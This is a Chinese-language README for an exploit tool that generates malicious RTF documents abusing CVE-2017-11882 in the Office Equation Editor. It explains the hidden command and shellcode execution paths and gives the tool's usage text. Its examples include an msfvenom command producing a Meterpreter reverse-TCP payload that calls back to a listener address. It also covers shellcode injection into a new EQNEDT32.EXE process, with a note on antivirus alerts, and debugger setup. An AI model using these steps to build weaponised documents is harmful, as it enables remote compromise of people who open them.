CVE-2017-11882 漏洞利用最大可接受超过 17KB 字节长的命令/代码。
对于远程命令执行,此漏洞利用将调用 WinExec(参数为 SW_HIDE),并在 WinExec 返回后调用 ExitProcess。
对于远程代码执行,此漏洞利用仅跳转到代码。
我找不到对象结构的参考……所以无法通过修改文件长度来实现任意长度代码执行……:(
但我确实认为 17KB 字节完全足够了。Python 脚本会检测所需的 payload 大小,并选择合适的 payload 模板。
注意:如果未迁移到其他进程,RCE 会导致 winword 进程卡死!
目前,如果你指定 -i 参数,此漏洞利用会将你的 shellcode 注入到新的 EQNEDT32.EXE 进程中。此操作可能引起杀毒软件警觉,但不会导致 Word 进程卡死。
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
示例:
对于远程命令执行:
CVE-2017-11882.py -c cmd.exe -o test.rtf
对于远程代码执行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE 中,将调试器值设置为你所使用的调试器路径。0x41165f 处设置断点。